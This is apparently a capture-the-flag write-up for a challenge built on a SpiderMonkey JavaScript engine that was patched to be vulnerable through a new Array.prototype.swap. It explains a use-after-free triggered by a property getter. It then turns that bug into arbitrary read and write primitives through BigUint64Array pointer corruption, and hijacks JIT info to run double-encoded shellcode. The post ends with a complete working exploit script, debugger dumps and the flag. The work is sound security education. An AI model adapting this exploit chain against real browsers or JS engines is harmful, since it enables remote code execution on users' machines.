Level 8B - Super "Optimised" Swap (SpiderMonkey pwn)

This is a JavaScript engine exploit. More specifically, we are given a binary called js
, which is the SpiderMonkey JavaScript engine. SpiderMonkey is Mozilla's JavaScript and WebAssembly Engine, used in Firefox, Servo and various other projects. It is written in C++, Rust and JavaScript.
Usually for JS pwn challenges, vulnerable patches are made to the JS engines, and you need to write an exploit in JS to gain an RCE over the remote server. As this was my first time writing a JS exploit, I had to do a ton of research in order to understand what was going on 😭. On the bright side it meant that I learnt alot more about memory management in the SpiderMonkey engine :).
The challenge source is mostly in code/diff.txt
, which shows us how the JS engine was modified to make it vulnerable. Let's zoom in on the important parts:
+bool js::array_swap(JSContext* cx, unsigned argc, Value* vp) {
+ AutoJSMethodProfilerEntry pseudoFrame(cx, "Array.prototype", "swap");
+ CallArgs args = CallArgsFromVp(argc, vp);
+
+ // {obj} refers to this == b
+ RootedObject obj(cx, ToObject(cx, args.thisv()));
+ if (!obj) {
+ return false;
+ }
+
+ NativeObject* nobj = &obj->as<NativeObject>();
+
+ uint64_t len;
+ if (!GetLengthPropertyInlined(cx, obj, &len)) {
+ args.rval().setBoolean(false);
+ return false;
+ }
+
+ if (!CanOptimizeForDenseStorage<ArrayAccess::Read>(obj, len)) {
+ JS_ReportErrorASCII(cx, "Cannot optimize for array object");
+ args.rval().setBoolean(false);
+ return false;
+ }
+
+ uint64_t capacity;
+ capacity = nobj->getDenseCapacity();
+
+ const js::Value* elements2 = nobj->getDenseElements();
+
+ #if defined(DEBUG) || defined(JS_JITSPEW)
+ printf("Current object: %p\n", static_cast<void*>(nobj));
+ printf("Current length/capacity: %lu / %lu\n", len, capacity);
+ printf("elements: %p\n", elements2);
+ #endif
+
+
+ RootedValue from(cx);
+ JSAtom* fromAtom = Atomize(cx, "from", strlen("from"));
+ if (!fromAtom) {
+ return false;
+ }
+ RootedId fromId(cx, AtomToId(fromAtom));
+ if (!GetProperty(cx, obj, obj, fromId, &from)) {
+ args.rval().setBoolean(false);
+ return true;
+ }
+
+ if (!from.isInt32()){
+ JS_ReportErrorASCII(cx, "from is not Int32");
+ args.rval().setBoolean(false);
+ return true;
+ }
+
+
+ RootedValue to(cx);
+ JSAtom* toAtom = Atomize(cx, "to", strlen("to"));
+ if (!toAtom) {
+ return false;
+ }
+ RootedId toId(cx, AtomToId(toAtom));
+ if (!GetProperty(cx, obj, obj, toId, &to)) {
+ args.rval().setBoolean(false);
+ return true;
+ }
+
+ if (!to.isInt32()){
+ JS_ReportErrorASCII(cx, "to property is not Int32");
+ args.rval().setBoolean(false);
+ return true;
+ }
+
+ // truncate - should be fine
+ uint64_t fromVal = from.toInt32();
+ uint64_t toVal = to.toInt32();
+
+ #if defined(DEBUG) || defined(JS_JITSPEW)
+ printf("fromVal: %ld\n", fromVal);
+ printf("toVal: %ld\n", toVal);
+ #endif
+
+
+ if (fromVal < len
+ && toVal < len
+ && fromVal < capacity
+ && toVal < capacity)
+ {
+ Value tmp = elements2[toVal];
+ Value tmp2 = elements2[fromVal];
+
+ #if defined(DEBUG) || defined(JS_JITSPEW)
+ printf("To:\n");
+ js::DumpValue(tmp);
+
+ printf("From:\n");
+ js::DumpValue(tmp2);
+ #endif
+
+ memcpy((void*)&elements2[fromVal], &tmp, sizeof(js::Value));
+ memcpy((void*)&elements2[toVal], &tmp2, sizeof(js::Value));
+
+
+ args.rval().setBoolean(true);
+ }
+ else
+ {
+ JS_ReportErrorASCII(cx, "Index larger than length!");
+ args.rval().setBoolean(false);
+ }
+
+ return true;
+}
The idea is that arrays have a new .swap()
function introduced, and its intended functionality is to swap elements in an array. Let's break down what it does:
Gets the
len
of the array usingGetLengthPropertyInlined
Checks that the array can be optimised for dense storage
Get the array capacity using
getDenseCapacity()
Get the underlying
js::Value*
elements by usingnobj->getDenseElements()
Get the
from
andto
properties of the array usingGetProperty()
. These are both 32-bit integers.Check that the indices
from
andto
are both< len
and< capacity
Actually perform the swap on the
js::Value
members usingmemcpy
Using LLMs, I learnt that the GetProperty
may invoke arbitrary attacker-controlled JavaScript. In other words, when GetProperty
is called to retrieve the index to
or from
, we can perform operations on the array before returning the integer index.
Having done numerous heap-based userspace pwn challenges before, my first observation was that the elements of the array are stored in js::Value* elements2
before we call GetProperty()
.
This means that if we can find a way to free the array's backing buffer and reclaim it using other objects, we could potentially achieve an arbitrary swap between elements/metadata of two objects. My guess (which was correct) was that expanding the array beyond the capacity would cause it to be allocated somewhere else.
I also came across SpiderMonkey blogs which mentioned the objectAddress()
function which was directly accessible from the JavaScript engine, which saved me the effort of having to implement one using the existing primitives.
Furthermore, on reading previous blogs/CTF challenges, I realised that a popular way of exploiting SpiderMonkey was to first obtain arbitrary read and write, then use those primitives to:
Write a function containing shellcode encoded in doubles, and execute it multiple times so the shellcode is mapped into RX memory
Read the
JsJitInfoAddr
which is located atobjectAddress(shellcode) + 0x28
Read the first 8 bytes in
JsJitInfoAddr
to leak the memory address of the readable and executable region (and hence have a better idea of where existing user shellcode is located)Write the address of user shellcode into
jitInfoAddr
so it gets executed by the JIT engine
As I was unfamiliar with V8/SpiderMonkey exploits, I also researched on various existing ways of exploiting UAF on arrays. After a few days, I encountered the following holy grail when reading this sentinelone blog:

This prompted me to look at how ArrayBuffers
and Arrays
were stored in memory. As an exercise, let me run you through how I get an arbitrary read. Suppose I have a function shellcode
and its object address. How do I read the content of objectAddress(shellcode) + 0x28
? I need this arbitrary read to determine the address of JSJitInfoAddr
.
function i2d(x) {
u64view[0] = x;
return f64view[0];
}
function shellcode() {
find_me = 5.40900888e-315; // 0x41414141 in memory
A = -6.828527034422786e-229; // 0x9090909090909090
B = 9.140985924375324e+164; //
C = 1.9999680285240848e+98;
D = 7.03809441336698e-309;
E = -6.828527034422786e-229; // 0x9090909090909090
F = -6.828527034422786e-229; // 0x9090909090909090
G = -6.828527034422786e-229; // 0x9090909090909090
H = -6.828527034422786e-229; // 0x9090909090909090
}
function gc() {new ArrayBuffer(3*1024*1024*100)}
const NUM_ALLOCS_1 = 52;
const FREE_110_SZ = 1024*2;
const FREES_110 = Array(FREE_110_SZ);
function arbread1() {
let arr1 = new Array(64).fill(6969);
// array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
// objectAddress(arr1);
arr1.from = 11;
// swap the pointer of a float array with the pointer of an object array
Object.defineProperty(arr1, 'to', {
get: function() {
// THIS CODE RUNS INSIDE THE C++ FUNCTION!
// At this exact moment:
// - elements2 pointer is already captured in C++
// - We're in the middle of reading properties
// - The memcpy hasn't happened yet
console.log("I'm executing inside the C++ swap function!");
// trigger array expansion and reallocation
this.push(69);
gc();
for(var i=0; i<NUM_ALLOCS_1; i++) {
// * 8 for 8 bytes per double
let ab = new ArrayBuffer(64 * 8);
// let x = new Float64Array(ab);
// x.fill(13.37);
let x = new BigUint64Array(ab);
x.fill(0x42424242n);
// console.log("x: " + x);
FREES_110[i] = x;
}
let shellcodeFunctionAddr = objectAddress(shellcode);
print(`shellcodeFunctionAddr: ${shellcodeFunctionAddr}`);
var arr2 = [i2d(BigInt("0x" + shellcodeFunctionAddr, 16) + 0x28n)];
FREES_110[NUM_ALLOCS_1] = arr2;
return 34;
}
});
arr1.swap();
// console.log(FREES_110[55]);
return Number(FREES_110[NUM_ALLOCS_1 - 1][0]);
}
const NUM_ALLOCS_2 = 62;
// now we need to do arbread to read the JSJitInfoAddr
let jitInfoAddr = arbread1();
Here's what I'm doing:
Use
Object.defineProperty(arr1, 'to', ...)
to dictate the JS that is run before theto
index is returned to the JS engine. WhengetProperty()
is called, we will:Expand the array
arr1
from 64 -> 65 elements, expanding it beyond its capacity to trigger a re-allocation elsewhere.Perform garbage collection to free its previous backing buffer.
Create a certain number of typed BigUint64Arrays such that part of
arr1
's previous backing buffer gets reclaimedCreate another array
arr2
whose only element is the decimal representation ofobjectAddress(shellcode) + 0x28
Finally return the index
to
and return control to the JS engine
Allow the swap to occur, swapping the data pointer of the LAST BigUint64Array with the VALUE
objectAddress(shellcode) + 0x28
Now when we read the first element of the last BigUint64Array, we will effectively be dereferencing
objectAddress(shellcode) + 0x28
and reading the 8 bytes at its address.
In this run objectAddress(shellcode) = 0xf4ad676c158
If we run the arbread
function we'll see the following debug message from the JS engine:
Current length/capacity: 64 / 64
elements: 0xd643eb00cb8
I'm executing inside the C++ swap function!
shellcodeFunctionAddr: f4ad676c158
fromVal: 11
toVal: 34
To:
{
"type": "double",
"value": "8.307269226901e-311",
"private": "0xf4ad676c180"
}
From:
{
"type": "double",
"value": "6.28111381192257e-310",
"private": "0x73a00790a400"
}
jitInfoAddr: 0xf4ad675f1a0
This tells us that the arr1's elements were at the address 0xd643eb00cb8 and we can look there to check what reclaimed it. Notice that I swapped index 11 (0x0b) and 34 (0x22) here.
This is the memory layout in the debugger AFTER the swap has occurred:
pwndbg> tele 0xd643eb00cb8 100
...
0b:0058│ 0xd643eb00d10 —▸ 0xf4ad676c180 <- This is objectAddress(shellcode) + 0x28!
0c:0060│ 0xd643eb00d18 —▸ 0x73a008e4e8fa ◂— 0x73a008e4
0d:0068│ 0xd643eb00d20 ◂— 0xb00000450
0e:0070│ 0xd643eb00d28 ◂— 'f4ad676c158'
0f:0078│ 0xd643eb00d30 ◂— 0xfff8800000383531 /* '158' */
10:0080│ 0xd643eb00d38 —▸ 0x73a008e4e8fa ◂— 0x73a008e4
11:0088│ 0xd643eb00d40 ◂— 0x2200000490
12:0090│ 0xd643eb00d48 —▸ 0xd643eb00d58 ◂— 'shellcodeFunctionAddr: f4ad676c158'
13:0098│ 0xd643eb00d50 ◂— 0x40 /* '@' */
14:00a0│ 0xd643eb00d58 ◂— 'shellcodeFunctionAddr: f4ad676c158'
15:00a8│ 0xd643eb00d60 ◂— 'eFunctionAddr: f4ad676c158'
16:00b0│ 0xd643eb00d68 ◂— 'nAddr: f4ad676c158'
17:00b8│ 0xd643eb00d70 ◂— '4ad676c158'
18:00c0│ 0xd643eb00d78 ◂— 0xfff8800000003835 /* '58' */
19:00c8│ 0xd643eb00d80 ◂— 0xfff8800000001b39
... ↓ 2 skipped
1c:00e0│ 0xd643eb00d98 —▸ 0x73a008e4e8a8 —▸ 0x73a008e4e000 —▸ 0x73a008e2a000 —▸ 0x73a007c9b000 ◂— ...
1d:00e8│ 0xd643eb00da0 —▸ 0xf4ad675b900 —▸ 0xf4ad6739190 —▸ 0x5b9dabbd0470 (js::ArrayObject::class_) —▸ 0x5b9da952f035 ◂— ...
1e:00f0│ 0xd643eb00da8 —▸ 0x5b9da954d130 (emptyObjectSlotsHeaders+16) ◂— 0x100000000
1f:00f8│ 0xd643eb00db0 —▸ 0xd643eb00dc8 —▸ 0x73a00790a400 ◂— 0x42424242 /* 'BBBB' */
20:0100│ 0xd643eb00db8 ◂— 0x100000001
21:0108│ 0xd643eb00dc0 ◂— 0x100000002
22:0110│ 0xd643eb00dc8 —▸ 0x73a00790a400 ◂— 0x42424242 /* 'BBBB' */ <- This is the data pointer of the last BigUintArray!
As you can see, I have swapped the elements at 0xd643eb00d10
and 0xd643eb00dc8
. This swaps the last BigUint64Array's data pointer with objectAddress(shellcode) + 0x28
.
Now, when I try to read the 0th element of the BigUint64Array, it will dereference objectAddress(shellcode) + 0x28
and give me that value instead of the actual BigUint I put in it! (which was 0x42424242)
This first arbitrary read allows me to read the contents of objectAddress(shellcode) + 0x28
= address of JSJitInfoAddr
. I use another similar arbitrary read to read the content of JSJitInfoAddr
, which is the virtual address of the RX region.
Now we come to the arbitrary write. In order for the shellcode to be executed by the JIT engine, we have to find the address of the executable shellcode and overwrite the value at JSJitInfoAddr
with that. Since the environment was fixed, I found out that the executable shellcode would be assigned at a constant offset with respect to the RX region that we already leaked. Therefore, we just need to overwrite the value of JSJitInfoAddr
with that address to successfully pwn it.
Here's a code snippet for the arbitrary write:
const NUM_ALLOCS_3 = 72;
function arbwrite(addr, data) {
let arr1 = new Array(64).fill(6969);
// array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
// objectAddress(arr1);
arr1.from = 7;
// swap the pointer of a float array with the pointer of an object array
Object.defineProperty(arr1, 'to', {
get: function() {
// THIS CODE RUNS INSIDE THE C++ FUNCTION!
// At this exact moment:
// - elements2 pointer is already captured in C++
// - We're in the middle of reading properties
// - The memcpy hasn't happened yet
console.log("I'm executing inside the C++ swap function!");
// trigger array expansion and reallocation
this.push(69);
gc();
for(var i=NUM_ALLOCS_1 + NUM_ALLOCS_2; i<NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3; i++) {
// * 8 for 8 bytes per double
let ab = new ArrayBuffer(64 * 8);
// let x = new Float64Array(ab);
// x.fill(13.37);
let x = new BigUint64Array(ab);
x.fill(0x42424242n);
// console.log("x: " + x);
FREES_110[i] = x;
}
var arr2 = [i2d(BigInt(addr))];
return 18;
}
});
arr1.swap();
for (let i = 0; i < 0x10000; i++) shellcode();
FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3 - 1][0] = BigInt(data);
}
var shellcodeAddr = RXregion + (0xc372baf0d0-0xc372b8bd40);
print(`shellcodeAddr: ${hex(shellcodeAddr)}`);
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
print(`Writing shellcodeAddr to jitInfoAddr...`);
arbwrite(jitInfoAddr, shellcodeAddr); // both shd be numbers
The main idea is essentially the same: I allocate a bunch of BigUint64Arrays to partially reclaim the backing buffer of arr1, then allocate arr2 containing the target address in decimal. Then I swap the data pointer of the last BigUint64Array with the actual addr
element.
After the swap is performed, when we try to write element 0 of the last BigUint64Array, we will end up dereferencing addr
and changing the value in it, achieving our arbitrary write.
This allows us to successfully overwrite the first 8 bytes of JSJitInfoAddr
to the address of the executable shellcode. Finally, to activate the RCE, we need to simply invoke the shellcode()
function. Below is the full exploit:
let converter = new ArrayBuffer(8);
let u64view = new BigUint64Array(converter);
let f64view = new Float64Array(converter);
// Bit-cast an uint64_t to a float64
function i2d(x) {
u64view[0] = x;
return f64view[0];
}
// Bit-cast a float64 to an uint64_t
function d2i(x) {
f64view[0] = x;
return u64view[0];
}
function print(x) {
console.log(x);
}
function hex(x) {
return `0x${x.toString(16)}`;
}
function shellcode() {
find_me = 5.40900888e-315; // 0x41414141 in memory
A = -6.828527034422786e-229; // 0x9090909090909090
B = 9.140985924375324e+164; //
C = 1.9999680285240848e+98;
D = 7.03809441336698e-309;
E = -6.828527034422786e-229; // 0x9090909090909090
F = -6.828527034422786e-229; // 0x9090909090909090
G = -6.828527034422786e-229; // 0x9090909090909090
H = -6.828527034422786e-229; // 0x9090909090909090
}
function gc() {new ArrayBuffer(3*1024*1024*100)}
const NUM_ALLOCS_1 = 52;
const FREE_110_SZ = 1024*2;
const FREES_110 = Array(FREE_110_SZ);
function arbread1() {
let arr1 = new Array(64).fill(6969);
// array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
// objectAddress(arr1);
arr1.from = 11;
// swap the pointer of a float array with the pointer of an object array
Object.defineProperty(arr1, 'to', {
get: function() {
// THIS CODE RUNS INSIDE THE C++ FUNCTION!
// At this exact moment:
// - elements2 pointer is already captured in C++
// - We're in the middle of reading properties
// - The memcpy hasn't happened yet
console.log("I'm executing inside the C++ swap function!");
// trigger array expansion and reallocation
this.push(69);
gc();
for(var i=0; i<NUM_ALLOCS_1; i++) {
// * 8 for 8 bytes per double
let ab = new ArrayBuffer(64 * 8);
// let x = new Float64Array(ab);
// x.fill(13.37);
let x = new BigUint64Array(ab);
x.fill(0x42424242n);
// console.log("x: " + x);
FREES_110[i] = x;
}
let shellcodeFunctionAddr = objectAddress(shellcode);
print(`shellcodeFunctionAddr: ${shellcodeFunctionAddr}`);
var arr2 = [i2d(BigInt("0x" + shellcodeFunctionAddr, 16) + 0x28n)];
FREES_110[NUM_ALLOCS_1] = arr2;
return 34;
}
});
arr1.swap();
// console.log(FREES_110[55]);
return Number(FREES_110[NUM_ALLOCS_1 - 1][0]);
}
const NUM_ALLOCS_2 = 62;
// now we need to do arbread to read the JSJitInfoAddr
let jitInfoAddr = arbread1();
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
// Math.pow(10,2);
// now we do another arbread on jitinfoaddr to find the RX region
function arbread2(addr) {
let arr1 = new Array(64).fill(6969);
// array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
// objectAddress(arr1);
arr1.from = 7;
// swap the pointer of a float array with the pointer of an object array
Object.defineProperty(arr1, 'to', {
get: function() {
// THIS CODE RUNS INSIDE THE C++ FUNCTION!
// At this exact moment:
// - elements2 pointer is already captured in C++
// - We're in the middle of reading properties
// - The memcpy hasn't happened yet
console.log("I'm executing inside the C++ swap function!");
// trigger array expansion and reallocation
this.push(69);
gc();
for(var i=NUM_ALLOCS_1; i<NUM_ALLOCS_1 + NUM_ALLOCS_2; i++) {
// * 8 for 8 bytes per double
let ab = new ArrayBuffer(64 * 8);
// let x = new Float64Array(ab);
// x.fill(13.37);
let x = new BigUint64Array(ab);
x.fill(0x42424242n);
// console.log("x: " + x);
FREES_110[i] = x;
}
var arr2 = [i2d(addr)];
return 14;
}
});
arr1.swap();
// console.log(FREES_110[55]);
return Number(FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 - 1][0]);
}
let RXregion = arbread2(BigInt(jitInfoAddr));
print(`RXregion: ${hex(RXregion)}`);
// Math.pow(2, 10);
const NUM_ALLOCS_3 = 72;
function arbwrite(addr, data) {
let arr1 = new Array(64).fill(6969);
// array data goes from 0x000023e0e910b640 to 0x000023e0e910b8b0
// objectAddress(arr1);
arr1.from = 7;
// swap the pointer of a float array with the pointer of an object array
Object.defineProperty(arr1, 'to', {
get: function() {
// THIS CODE RUNS INSIDE THE C++ FUNCTION!
// At this exact moment:
// - elements2 pointer is already captured in C++
// - We're in the middle of reading properties
// - The memcpy hasn't happened yet
console.log("I'm executing inside the C++ swap function!");
// trigger array expansion and reallocation
this.push(69);
gc();
for(var i=NUM_ALLOCS_1 + NUM_ALLOCS_2; i<NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3; i++) {
// * 8 for 8 bytes per double
let ab = new ArrayBuffer(64 * 8);
// let x = new Float64Array(ab);
// x.fill(13.37);
let x = new BigUint64Array(ab);
x.fill(0x42424242n);
// console.log("x: " + x);
FREES_110[i] = x;
}
var arr2 = [i2d(BigInt(addr))];
return 18;
}
});
arr1.swap();
for (let i = 0; i < 0x10000; i++) shellcode();
FREES_110[NUM_ALLOCS_1 + NUM_ALLOCS_2 + NUM_ALLOCS_3 - 1][0] = BigInt(data);
}
var shellcodeAddr = RXregion + (0xc372baf0d0-0xc372b8bd40);
print(`shellcodeAddr: ${hex(shellcodeAddr)}`);
print(`jitInfoAddr: ${hex(jitInfoAddr)}`);
print(`Writing shellcodeAddr to jitInfoAddr...`);
arbwrite(jitInfoAddr, shellcodeAddr); // both shd be numbers
// Math.pow(10,2);
// print("Triggering shellcode...");
shellcode();
// Math.pow(10,2);
// TISC{sp1d3rm0nk3y_sw4p_p4ws_y3kn0mr3d1ps}
Last updated